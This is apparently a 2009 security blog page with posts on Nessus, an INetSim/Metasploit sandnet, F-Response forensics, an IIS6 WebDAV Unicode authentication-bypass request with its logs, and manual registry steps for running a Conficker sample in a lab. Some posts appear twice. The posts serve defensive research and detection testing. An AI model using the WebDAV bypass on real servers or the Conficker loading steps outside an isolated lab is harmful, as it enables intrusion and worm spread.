I've been testing the upcoming 4.2 release of the Nessus vulnerability scanner. The new Flash-based web interface is awesome. It runs smoother than the standalone client and has a great feature under the Reports section for comparing two scan results, which is great when you have a baseline to compare current results against. The first link has two video, and the second shows the compare functionality. I'll be posting additional notes and screenshots as I spend more time with the beta.
The Academy Pro has some excellent videos showing off the new features of Nessus 4.2.
Also, check out the GFI videos. They're currently giving away free T-shirts to bloggers. :-)
Friday, November 20, 2009
Wednesday, November 04, 2009
Sandnetting With INetSim & Metasploit
I've been looking for something that might work well in a situation where I might want to redirect malicious domains to a an IP hosting numerous faux services. I've used the scripts from TRUMAN in the past but they've left a little to be desired (no reflection on Joe Stewart...the guy rocks!). I looked at Glastopf but it wasn't what I was looking for. I caught a reference to INetSim and it looked to be exactly what I wanted.
INetSim emulates about a dozen different services and can do cool things like serve up pretty much any file that is requested. For example, if a Zeus bot-infected host is looking for a new .cfg file, it will respond with a file. Now, it's not the right file, but it doesn't return a 404, either. The significant thing here is that it records all requests and can emulate the services well. Check the features page for more info.
Using VMware Fusion 3, I setup a Ubuntu 9.10 Server for my testing. The following apt-get command installed the necessary pre-requisites.
We could run msfconsole from either the same host or another host and have it respond to all DNS queries with the address of the host running INetSim. First, create a file and call it anything (like fakedns.rc). In fakedns.rc, you need the following:
While I've got them in front of me, here's an example of the logs of DNS queries against INetSim.
INetSim emulates about a dozen different services and can do cool things like serve up pretty much any file that is requested. For example, if a Zeus bot-infected host is looking for a new .cfg file, it will respond with a file. Now, it's not the right file, but it doesn't return a 404, either. The significant thing here is that it records all requests and can emulate the services well. Check the features page for more info.
Using VMware Fusion 3, I setup a Ubuntu 9.10 Server for my testing. The following apt-get command installed the necessary pre-requisites.
sudo apt-get install libnet-server-perl libnet-dns-perl libdigest-sha1-perl libiptables-ipv4-ipqueue-perl libipc-shareable-perlI made a few small changes to the config file to fit my environment and was ready to go. Running "sudo ./inetsim" gets the following:
INetSim 1.1.1 (2009-09-09) by Matthias Eckert & Thomas HungenbergAs you can see, setup is easy. Now, how do you get the bad guys to end up at INetSim? I mentioned redirection of malicious domains earlier, but from the sandnet perspective, we can do a couple of things. The DNS dummy service within INetSim can be configured to return the same IP for all queries by configuring #dns_default_ip. But, that's too easy. Things are more fun when you use the Metasploit Framework.
Using log directory: /home/jsawyer/downloads/inetsim-1.1.1/log/
Using data directory: /home/jsawyer/downloads/inetsim-1.1.1/data/
Using report directory: /home/jsawyer/downloads/inetsim-1.1.1/report/
Using configuration file: /home/jsawyer/downloads/inetsim-1.1.1/conf/inetsim.conf
Parsing configuration file.
Configuration file parsed successfully.
=== INetSim main process started (PID 10323) ===
Session ID is : 10323
Real Date/Time is : Tue Nov 3 22:02:21 2009
Fake Date/Time is : Tue Nov 3 22:02:21 2009 (Delta: 0 seconds)
Forking services...
* dns 53/udp/tcp - started (PID 10325)
* http 80/tcp - started (PID 10326)
* pop3 110/tcp - started (PID 10328)
* smtp 25/tcp - started (PID 10327)
* tftp 69/udp - started (PID 10329)
* ntp 123/udp - started (PID 10331)
* time 37/tcp - started (PID 10332)
* ftp 21/tcp - started (PID 10330)
* daytime 13/tcp - started (PID 10334)
* time 37/udp - started (PID 10333)
* echo 7/tcp - started (PID 10336)
* echo 7/udp - started (PID 10337)
* daytime 13/udp - started (PID 10335)
* discard 9/tcp - started (PID 10338)
* discard 9/udp - started (PID 10339)
* quotd 17/tcp - started (PID 10340)
* quotd 17/udp - started (PID 10341)
* chargen 19/tcp - started (PID 10342)
* finger 79/tcp - started (PID 10344)
* chargen 19/udp - started (PID 10343)
* syslog 514/udp - started (PID 10346)
* ident 113/tcp - started (PID 10345)
* dummy 1/tcp - started (PID 10347)
* dummy 1/udp - started (PID 10348)
done.
Simulation running.
We could run msfconsole from either the same host or another host and have it respond to all DNS queries with the address of the host running INetSim. First, create a file and call it anything (like fakedns.rc). In fakedns.rc, you need the following:
use auxiliary/server/fakednsThen, run Metasploit like this:
set TARGETHOST 10.227.212.231
set SRVPORT 53
run
sudo ./msfconsole -r fakedns.rcAnd, there you go. Like I said, you could use the dummy DNS within INetSim but I just felt like scripting it with Metasploit since I'd done a few custom configs lately for wireless hijacking demos.
While I've got them in front of me, here's an example of the logs of DNS queries against INetSim.
=== Report for session '10413': ===I mentioned above that INetSim can answer pretty much any request. It responds based on the extension of the file being requested. You request a JPG, it give you back a JPG. This is all defined in the config. I'd recommend changing out the default files for something unique so that a malware author couldn't finger print your host as running INetSim because of the sample files.
Real start date : Tue Nov 3 22:10:15 2009
Simulated start date : Tue Nov 3 22:10:15 2009
Time difference on startup : none
2009-11-03 at 22:10:44 => First simulated date in log file
2009-11-03 at 22:10:44 => DNS connection, type: A, class: IN, requested name: www.bob.com
2009-11-03 at 22:10:51 => DNS connection, type: A, class: IN, requested name: www.b0b.com
2009-11-03 at 22:10:51 => Last simulated date in log file
===
http_fakefile txt sample.txt text/plainHere's a couple of requests via curl showing that a JPG is being served up no matter the path requested.
http_fakefile htm sample.html text/html
http_fakefile html sample.html text/html
http_fakefile php sample.html text/html
http_fakefile gif sample.gif image/gif
http_fakefile jpg sample.jpg image/jpeg
http_fakefile jpeg sample.jpg image/jpeg
http_fakefile png sample.png image/png
http_fakefile bmp sample.bmp image/x-ms-bmp
http_fakefile ico favicon.ico image/x-icon
http_fakefile exe sample_gui.exe x-msdos-program
http_fakefile com sample_gui.exe x-msdos-program
jsawyer$ curl -s http://10.227.212.231/suk.jpg | hexdump -C | head -1Have fun!!
00000000 ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 |######JFIF.....H|
jsawyer$ curl -s http://10.227.212.231/OMG/longURL/whereisitgoing/sukeyake.jpg | hexdump -C | head -1
00000000 ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 |######JFIF.....H|
Tuesday, May 19, 2009
Log Results of Successful IIS6 WebDAV Zero Day Attacks
I covered this a bit in my DarkReading blog but wanted to continue with my testing tonight to see what else I could find out. Plus, there are some new tool updates such as an auxiliary module for Metasploit and a plugin for Nessus.
There was an interesting follow-up to the DR blog on whether or not Microsoft Outlook Web Access was vulnerable. I don't have hands-on access to an OWA box but I hope to do some more testing on Tues.
What prompted me to write this post was an interesting finding posed in the correspondence regarding the logs and why the Unicode isn't showing up. The reader was wondering why the Unicode attacks were not showing up. Let's start first with some example logs right after what my telnet test looks like followed by my speculation as to the answer.
That's all I've got for now. It's nearing 2am and I'm starting to wane....
Yeah, can't sleep so, here's some logs on an Apache server from a Nessus scan with the new plugin. I'll test it against an IIS server in the morning.
There was an interesting follow-up to the DR blog on whether or not Microsoft Outlook Web Access was vulnerable. I don't have hands-on access to an OWA box but I hope to do some more testing on Tues.
What prompted me to write this post was an interesting finding posed in the correspondence regarding the logs and why the Unicode isn't showing up. The reader was wondering why the Unicode attacks were not showing up. Let's start first with some example logs right after what my telnet test looks like followed by my speculation as to the answer.
metasploit jsawyer$ telnet 192.168.43.128 80Telnet success:
Trying 192.168.43.128...
Connected to 192.168.43.128.
Escape character is '^]'.
GET /..%c0%af/admin/test.txt HTTP/1.1
Translate: f
Connection: close
Host: 192.168.43.128
HTTP/1.1 200 OK
Connection: close
Date: Tue, 19 May 2009 04:42:20 GMT
Server: Microsoft-IIS/6.0
Content-Type: text/plain
Content-Length: 7
ETag: "ffbac9af6d7c91:1e1"
Last-Modified: Mon, 18 May 2009 20:20:09 GMT
Accept-Ranges: bytes
pwnage!
2009-05-19 04:42:20 W3SVC1 192.168.43.128 GET /../admin/test.txt - 80 - 192.168.43.1 - 200 0 0Metasploit finding the protected admin dir:
2009-05-19 04:33:12 W3SVC1 192.168.43.128 PROPFIND /admin/ - 80 - 192.168.43.1 - 401 2 2148074254As you can see in the successful telnet log entry above, the %c0%af is removed. I suspect the issue is due to how the WebDAV DLL is handling the request and that the logging occurs after the request is handle. It would make sense since the log has to accurately reflect the proper HTTP code. In this case, the vulnerable WebDAV function removes the Unicode, responds with the requested file and IIS then logs the request.
2009-05-19 04:33:13 W3SVC1 192.168.43.128 PROPFIND /admin/ - 80 - 192.168.43.1 - 207 0 0
That's all I've got for now. It's nearing 2am and I'm starting to wane....
Yeah, can't sleep so, here's some logs on an Apache server from a Nessus scan with the new plugin. I'll test it against an IIS server in the morning.
- - [19/May/2009:02:04:48 -0400] "GET / HTTP/1.0" 200 45 "-" "-" - - [19/May/2009:02:04:49 -0400] "GET / HTTP/1.0" 200 45 "-" "-" - - [19/May/2009:02:04:53 -0400] "GET / HTTP/1.1" 200 45 "-" "-" - - [19/May/2009:02:04:53 -0400] "GET / HTTP/1.1" 200 45 "-" "-" - - [19/May/2009:02:04:53 -0400] "GET / HTTP/1.1" 200 45 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET /login.htm HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET /intruvert/jsp/admin/Login.jsp HTTP/1.1" 404 348 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET / HTTP/1.1" 200 45 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET / HTTP/1.1" 200 45 "-" "Mozilla/4.75 [en] (X11; U; Nessus)" - - [19/May/2009:02:04:53 -0400] "GET / HTTP/1.1" 200 45 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET / HTTP/1.1" 200 45 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET /ControlManager/default.htm HTTP/1.1" 404 345 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET /MSWSMTP/Common/Authentication/Logon.aspx HTTP/1.1" 404 359 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET / HTTP/1.1" 200 45 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET / HTTP/1.1" 200 45 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET /commoncgi/servlet/CCGIServlet?ApHost=PDT_InterScan_NT&CGIAlias=PDT_InterScan_NT&File=logout.htm HTTP/1.1" 404 348 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET / HTTP/1.1" 200 45 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET /oGR_FLrEIIM_.html HTTP/1.1" 404 336 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET /oGR_FLrEIIM_.cgi HTTP/1.1" 404 335 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET /oGR_FLrEIIM_.sh HTTP/1.1" 404 334 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET /oGR_FLrEIIM_.pl HTTP/1.1" 404 334 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET /oGR_FLrEIIM_.inc HTTP/1.1" 404 335 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET /oGR_FLrEIIM_.shtml HTTP/1.1" 404 337 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET /oGR_FLrEIIM_.asp HTTP/1.1" 404 335 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET /oGR_FLrEIIM_.php HTTP/1.1" 404 335 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET /oGR_FLrEIIM_.php3 HTTP/1.1" 404 336 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET /oGR_FLrEIIM_.cfm HTTP/1.1" 404 335 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET /cgi-bin/oGR_FLrEIIM_.html HTTP/1.1" 404 344 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET /cgi-bin/oGR_FLrEIIM_.cgi HTTP/1.1" 404 343 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET /cgi-bin/oGR_FLrEIIM_.sh HTTP/1.1" 404 342 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET /cgi-bin/oGR_FLrEIIM_.pl HTTP/1.1" 404 342 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET /cgi-bin/oGR_FLrEIIM_.inc HTTP/1.1" 404 343 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET /cgi-bin/oGR_FLrEIIM_.shtml HTTP/1.1" 404 345 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET /cgi-bin/oGR_FLrEIIM_.php HTTP/1.1" 404 343 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET /cgi-bin/oGR_FLrEIIM_.php3 HTTP/1.1" 404 344 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET /cgi-bin/oGR_FLrEIIM_.cfm HTTP/1.1" 404 343 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET / HTTP/1.1" 200 45 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "OPTIONS * HTTP/1.1" 200 - "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
Friday, April 10, 2009
F-Response 3.09 Trial Run & Screenshots
On Tuesday, I received a package in the mail from Matt Shannon, founder and creator of F-Response. Inside was a small, F-Response-branded USB thumb drive containing the upcoming release of F-Response due out April 15, 2009. I updated my dongle, installed the new license manager and was ready to begin testing.
One of the first things I noticed is the newly redesigned license manager to replace the NetUnikey Server! Thank you, thank you, thank you. The third-party NetUnikey Server for dongle authentication in previous releases sucked, and I even ran into some bizarre network issues where it wouldn't authenticate in version 1.18 but was fine in the 2.x betas. Now, that's all fixed and working great. For those of you unfamiliar with the product, their is a licensing dongle. In the Field Kit edition, it has to be plugged into the host you are examining. In the Consultant and Enterprise editions, the dongle can be plugged into the analyst's workstation. When the F-Response client runs on the host being analyzed, it first must authenticate to the workstation with the dongle in it. It was the NetUnikey Server that used to accept and authenticate the requests from the F-Response clients. Now, it's gone and the F-Response License Manager serves that purpose in version 3.09.
The next major feature addition is the inclusion of the new management interfaces in the Enterprise and Consultant editions. They make deployment and connecting to remote disks a piece of cake. The Enterprise Management Console allows you to push the F-Response enterprise service to hosts you have admin rights to, start the service and connect to the disks and memory. The Consultant Connector makes it easy to connect to disks from hosts on which the Consultant F-Response client is running. There are several videos over at the F-Response site if you want to see them in action (linked to by their names above). The Enterprise Management Console will definitely be a head turner for companies who have been looking to replace products like Encase Enterprise but weren't sure if F-Response was the solution. It's about time to take a another look if you're one of those groups.
For me, the most exciting new features were the inclusion of support for Mac OS X and Linux in the Enterprise and Consultant versions. Previously, support for those OS's were only on the Field Kit edition. So far, F-Response has been working flawlessly on Mac and Linux. Earlier this week, I witnessed two Mac OS X machines have their entire 200+GB hard drives images over the network with F-Response. I personally tested a Mac Book Pro with the latest version of OS X, a fully updated Ubuntu Linux system and a Windows XP SP3 system.
In this screenshot, you can see the different options available in the Mac OS X client.
I created an autoconfigure ".ini" file using the Windows F-Response client, which has a GUI interface where you enter the IP of the host with the dongle and the user credentials to connect back into the machine over iSCSI. As you can see in this screenshot, I ran the executable with the "-c" option followed by the autoconfigure file I had created from the Windows client. The F-Response client authenticated, mounted the available drives and started listening for connections via iSCSI.Did you notice how there were two drives in the last screenshot that were mounted read-only? What's worth noting is that this is my MacBook Pro which only has one hard drive. I use FileVault for encrypting my Home directory. The second drive is my Home directory mounted. I know one of the big features in Windows was the ability to access disk Volumes and not just raw hard drives, but I was surprised to see this behavior. I haven't tested imaging the mounted Home directory via F-Response, yet, but should be interesting.
This next screenshot is of the Linux F-Response client. It's pretty much identical to the Mac version and works with the same autoconfigure file as both Windows and Linux. This is a great feature allowing you to create CDs to hand out to your help desk with all versions of the client and only one ".ini".
This next screenshot is FTK Imager connected to a Linux host. While I was testing, I only looked around the filesystem a bit, but I could have easily imaged the drive. I think one of the things I like about F-Response the most is the flexibility it gives me to use pretty much any forensic tool I want whether it's FTK, Encase, RegRipper or anything else. It really lives up to its slogan by extending your arsenal.
One of the first things I noticed is the newly redesigned license manager to replace the NetUnikey Server! Thank you, thank you, thank you. The third-party NetUnikey Server for dongle authentication in previous releases sucked, and I even ran into some bizarre network issues where it wouldn't authenticate in version 1.18 but was fine in the 2.x betas. Now, that's all fixed and working great. For those of you unfamiliar with the product, their is a licensing dongle. In the Field Kit edition, it has to be plugged into the host you are examining. In the Consultant and Enterprise editions, the dongle can be plugged into the analyst's workstation. When the F-Response client runs on the host being analyzed, it first must authenticate to the workstation with the dongle in it. It was the NetUnikey Server that used to accept and authenticate the requests from the F-Response clients. Now, it's gone and the F-Response License Manager serves that purpose in version 3.09.
The next major feature addition is the inclusion of the new management interfaces in the Enterprise and Consultant editions. They make deployment and connecting to remote disks a piece of cake. The Enterprise Management Console allows you to push the F-Response enterprise service to hosts you have admin rights to, start the service and connect to the disks and memory. The Consultant Connector makes it easy to connect to disks from hosts on which the Consultant F-Response client is running. There are several videos over at the F-Response site if you want to see them in action (linked to by their names above). The Enterprise Management Console will definitely be a head turner for companies who have been looking to replace products like Encase Enterprise but weren't sure if F-Response was the solution. It's about time to take a another look if you're one of those groups.
For me, the most exciting new features were the inclusion of support for Mac OS X and Linux in the Enterprise and Consultant versions. Previously, support for those OS's were only on the Field Kit edition. So far, F-Response has been working flawlessly on Mac and Linux. Earlier this week, I witnessed two Mac OS X machines have their entire 200+GB hard drives images over the network with F-Response. I personally tested a Mac Book Pro with the latest version of OS X, a fully updated Ubuntu Linux system and a Windows XP SP3 system.
In this screenshot, you can see the different options available in the Mac OS X client.
I created an autoconfigure ".ini" file using the Windows F-Response client, which has a GUI interface where you enter the IP of the host with the dongle and the user credentials to connect back into the machine over iSCSI. As you can see in this screenshot, I ran the executable with the "-c" option followed by the autoconfigure file I had created from the Windows client. The F-Response client authenticated, mounted the available drives and started listening for connections via iSCSI.Did you notice how there were two drives in the last screenshot that were mounted read-only? What's worth noting is that this is my MacBook Pro which only has one hard drive. I use FileVault for encrypting my Home directory. The second drive is my Home directory mounted. I know one of the big features in Windows was the ability to access disk Volumes and not just raw hard drives, but I was surprised to see this behavior. I haven't tested imaging the mounted Home directory via F-Response, yet, but should be interesting.
This next screenshot is of the Linux F-Response client. It's pretty much identical to the Mac version and works with the same autoconfigure file as both Windows and Linux. This is a great feature allowing you to create CDs to hand out to your help desk with all versions of the client and only one ".ini".
This next screenshot is FTK Imager connected to a Linux host. While I was testing, I only looked around the filesystem a bit, but I could have easily imaged the drive. I think one of the things I like about F-Response the most is the flexibility it gives me to use pretty much any forensic tool I want whether it's FTK, Encase, RegRipper or anything else. It really lives up to its slogan by extending your arsenal.
Wednesday, April 01, 2009
Go Infect Yourself...with Conficker
I'd been wanting to do some testing with Conficker to see if my IDS rules were truly working and whether or not some of the new detection tools released Monday were accurate (DarkReading: "Conficker Detection...Let Me Count The Ways"). Knowing that just running an EXE wasn't all that easy based on some of the analysis from the Internet Storm Center (here and here), I started digging around for some good samples of Conficker and instructions. First, I grabbed a few samples from Offensive Computing's malware archive. Next, I went looking for some hints on the best way to load the samples and found a related thread on Offensive Computing where someone was looking for a Conficker.C sample.
So, here's the quick and dirty. We'll download the sample, rename it, copy it to system32 dir and edit a useless service to load it on startup.
What's next? If you've done malware analysis before, you know you should have been capturing ALL network traffic from this host. Continue sniffing and looking for interesting things. Capture all of the traffic to disk with tcpdump, tshark or daemonlogger. Then run it through Snort with the Emerging Threats ruleset or ngrep looking for interesting strings. The possibilities are endless.
Oh yeah, don't forget to put this behind some kind of firewall or filtering device so you can keep a handle on it. I've got mine sitting behind a Vyatta-based bridging firewall that is working quite well for this use. I'm also sniffing directly on the bridged interface.
So, here's the quick and dirty. We'll download the sample, rename it, copy it to system32 dir and edit a useless service to load it on startup.
- Grab the file here.
- Rename it to "booyah.dll"
- Copy "booyah.dll" to "C:\Windows\System32\"
- Open Regedit and navigate to \HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Nla\Parameters
- Right click on "ServiceDll", click "Modify", change the current DLL to point to "booyah.dll", and click OK
- Close Regedit and Reboot.
What's next? If you've done malware analysis before, you know you should have been capturing ALL network traffic from this host. Continue sniffing and looking for interesting things. Capture all of the traffic to disk with tcpdump, tshark or daemonlogger. Then run it through Snort with the Emerging Threats ruleset or ngrep looking for interesting strings. The possibilities are endless.
Oh yeah, don't forget to put this behind some kind of firewall or filtering device so you can keep a handle on it. I've got mine sitting behind a Vyatta-based bridging firewall that is working quite well for this use. I'm also sniffing directly on the bridged interface.
Conficker Eye Chart
Joe Stewart put together a great little page that leverages the feature of Conficker that blocks certain websites. I've mirrored that content here to save Joe some bandwidth.
The page is really simple in that it loads images from the different websites. If you're infected, you'll see images missing. He has included a chart on how to determine what you might be infected with. If you are infected, check out the Internet Storm Center's page full of links on how to get cleaned up.
The page is really simple in that it loads images from the different websites. If you're infected, you'll see images missing. He has included a chart on how to determine what you might be infected with. If you are infected, check out the Internet Storm Center's page full of links on how to get cleaned up.
Subscribe to:
Posts (Atom)